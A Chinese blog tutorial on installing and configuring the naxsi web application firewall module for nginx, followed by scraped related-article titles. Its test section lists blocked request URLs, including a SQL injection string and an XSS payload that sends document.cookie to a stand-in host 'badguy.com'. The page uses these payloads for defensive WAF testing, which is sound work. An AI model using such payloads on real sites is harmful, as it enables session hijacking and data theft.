== 对于nginx有相应模块来完成WAF构建,此处使用的是naxsi模块。  ==

一、安装前提

  .必须安装了nginx并可提供基本服务(这个是添加模块儿的前提,自己google吧);
.下载naxsi模块:Naxsi :http://naxsi.googlecode.com/files/naxsi-core-0.50.tgz ; 二、安装说明 、tar -xzvf naxsi-core-0.50.tgz 解压,并进入naxsi-core-0.50/naxsi_src目录下;
、执行make & make install 命令,当然也可以使用 ./configure 指定安装位置等参数;
、完成安装后,需要将其与nginx关联起来:
》》在安装好的nginx/sbin/下执行./nginx -V 命令,可以查看到nginx的原有./configure配置,复制后并添加naxsi模块的路径如下。
对于此次安装 cd /app/uatg1/lua_install/tengine-1.4.(nginx的源文件目录)下
执行命令:./configure --prefix=/app/uatg1/nginx --conf-path=/app/uatg1/nginx/conf/nginx.conf 。。。。。。等原有的。
添加:--add-module=/app/uatg1/lua_install/naxsi-core-0.50/naxsi_src
可以看到执行过程显示,最后可以看到,naxsi被关联,configure成功。
、对其执行 make & make install 命令,重新编译; 三、配置说明 官网说明见 : http://code.google.com/p/naxsi/wiki/Howto#Installing_nginx_+_naxsi ;
、将naxsi的:naxsi-core-0.50/naxsi_config/目录下核心配置naxsi_core.rules拷贝到nginx/conf/目录下;
、在nginx/conf/目录下新建naxsi_nbs.rules文件,用以配置使用;
、在nginx.conf中配置:
>、添加naxsi核心配置 ? http {
#include /app/uatg1/lua_install/naxsi-core-0.50/naxsi_config/naxsi_core.rules;
#若步做上第一步,则需要指定全路径
include naxsi_core.rules;
include mime.types;
.....
} >、 ? # 配置防攻击
location /xss {
include naxsi_nbs.rules; #配置信息 #include naxsi_BasicRule.conf; #设置 whitelist (白名单)配置
default_type text/plain; content_by_lua '
ngx.say("({\'Test xss ,come in please!!!\'})");
'; root html;
} location /RequestDenied { return ;
#proxy_pass [http://10.142.138.61:7130/eop/; http://10.142.138.61:7130/eop/;
]}
error_page /.html; # 在nginx/html/目录下新建的页面用来提示拦截 >、配置naxsi_nbs.rules文件 ? #LearningMode; #Enables learning mode
SecRulesEnabled;
#SecRulesDisabled;
DeniedUrl "/RequestDenied"; ## check rules
CheckRule "$SQL >= 8" BLOCK;
CheckRule "$RFI >= 8" BLOCK;
CheckRule "$TRAVERSAL >= 4"
BLOCK; CheckRule "$EVADE >= 4" BLOCK;
CheckRule "$XSS >= 8" BLOCK; 、还可以添加白名单naxsi_BasicRule.conf
测试使用:
BasicRule wl: "mz:$ARGS_VAR:script";
BasicRule wl: "mz:$ARGS_VAR:id";
表示xss攻击正常是被拦截的,若被添加白名单,则不被拦截:此处是Get 参数名若为id 或者script,则不被拦截; ? BasicRule:规则说明,具体参见: http://code.google.com/p/naxsi/wiki/BasicRule
wl:ID (WhiteList): Which rule ID(s) are whitelisted.
mz: (MatchZones): Specify the conditions to match for the rule to be whitelisted. A MatchZone must be specified in a nginx location context to enable a rule.
◦ARGS : GET args
◦HEADERS : HTTP Headers
◦BODY : POST args
◦URL : The URL (before '?')
◦NAME : It's a suffix, indicating that the target element is the NAME of the var, not its content.
For example a whitelist targetting BODY|NAME means that the exception were triggered in the "name" of some POST (BODY) variables. 四、测试使用说明
、启动nginx(若已经启动,kill掉原来执行的nginx),再重新启动,这点要切记!
、测试链接: ? http://10.142.138.61:8888/xss/ 通过
http://10.142.138.61:8888/xss/?id=40/**/and/**/1=1 通过,因为配置到白名单
http://10.142.138.61:8888/xss/?name=40/**/and/**/1=1 不通过,含有条件注入
http://10.142.138.61:8888/xss/?name=%28%29 不通过,特殊字符
http://10.142.138.61:8888/xss/?term=%3Cscript%3Ewindow.open%28%22http://badguy.com?cookie=%22+document.cookie%29%3C/script%3E
不通过,参数内容含脚本注入
http://10.142.138.61:8888/xss/?title=meta%20http-equiv=%22refresh%22%20content=%220;%22
不通过

Nginx使用naxsi防xss、防注入攻击配置的更多相关文章

  1. PHP防XSS 防SQL注入的代码

    作为开发人员时刻要记住一句话,永远不要相信任何用户的输入!很多时候我们的网站会因为我们开发人员写的代码不够严谨,而使网站受到攻击,造成不必要的损失!下面介绍一下如何防止SQL注入! 这里提供了一个函数 ...

  2. asp.net防SQL/JS注入攻击:过滤标记

    /// <summary>/// 过滤标记/// </summary>/// <param name="NoHTML">包括HTML,脚本,数据 ...

  3. 【记录】ASP.NET XSS 脚本注入攻击

    输入进行 Html 转码: HttpUtility.HtmlEncode(content); 输入保留 Html 标记,使用 AntiXSS 过滤: Install-Package AntiXSS M ...

  4. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  5. Spring MVC 如何防止XSS、SQL注入攻击

    在Web项目中,通常需要处理XSS,SQL注入攻击,解决这个问题有两个思路: 在数据进入数据库之前对非法字符进行转义,在更新和显示的时候将非法字符还原 在显示的时候对非法字符进行转义 如果项目还处在起 ...

  6. 注入攻击-XSS攻击-CSRF攻击

    1.注入攻击 注入攻击包括系统命令注入,SQL注入,NoSQL注入,ORM注入等 1.1攻击原理 在编写SQL语句时,如果直接将用户传入的数据作为参数使用字符串拼接的方式插入到SQL查询中,那么攻击者 ...

  7. 注入攻击-SQL注入和代码注入

    注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...

  8. 安全防御之防xss、SQL注入、与CSRF攻击

    XSS攻击 个人理解,项目中最普通的就是通过输入框表单,提交js代码,进行攻击例如在输入框中提交 <script>alert("我是xss攻击");</scrip ...

  9. 关于在线文本编辑器防XSS注入攻击问题

    跨站脚本攻击,又称XSS代码攻击,也是一种常见的脚本注入攻击.例如在下面的界面上,很多输入框是可以随意输入内容的,特别是一些文本编辑框里面,可以输入例如<script>alert('这是一 ...

随机推荐

  1. 【贪心】Codeforces Round #402 (Div. 2) C. Dishonest Sellers

    按照b[i]-a[i],对物品从大到小排序,如果这个值大于零,肯定要立刻购买,倘若小于0了,但是没买够K个的话,也得立刻购买. #include<cstdio> #include<a ...

  2. 【动态规划】【零一背包】CODEVS 1014 装箱问题 2001年NOIP全国联赛普及组

    #include<cstdio> #include<algorithm> using namespace std; ],f[]; int main() { scanf(&quo ...

  3. less 命令详解!

    less 工具也是对文件或其它输出进行分页显示的工具,应该说是linux正统查看文件内容的工具,功能极其强大.less 的用法比起 more 更加的有弹性.在 more 的时候,我们并没有办法向前面翻 ...

  4. 在GIT中修改提交记录

    在SVN中,提交记录是无法修改的.比如说,当我们提交了某次修改后,发现该次提交中有错误时,只能将将补丁再次提交一遍.这样,就存在两次提交记录,没有保证提交的原子性. 在GIT中,由于提交是在本地进行的 ...

  5. Inno Setup 注册表启动项 修改注册表

      //注册表启动项 [Registry] Root: HKLM; Subkey: "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"; ...

  6. S3C2440时钟配置

    参考: http://blog.csdn.net/mr_raptor/article/details/6555734 http://blog.csdn.net/mjx91282041/article/ ...

  7. pymongo增删查改以及条件查询

    ---恢复内容开始--- 下载Pymongo pip install pymongo pip install pymongo==x.x.x指定下载版本 连接数据库 from pymongo impor ...

  8. Java获取日期属于当年第几周

    String today = "2013-01-14"; SimpleDateFormat format = new SimpleDateFormat("yyyy-MM- ...

  9. Maven 使用 二——nexus

    上篇博客介绍了创建maven项目的两种方式,当中一种是使用命令行的方式来创建,这种情况非常少,一般我们都有IDE开发环境.所以接下来,我们还是在一个详细的IDE中来说,我使用的是Eclipse. 一. ...

  10. IE 下 input 不响应 change 事件的处理

    很多时候,我们都需要通过 input 来上传文件,通过 change 事件获取用户上传的文件,然后做一些额外的处理,最后上传到服务器. 可是事情往往就是没有那么美好.是的,IE 下 input 在选择 ...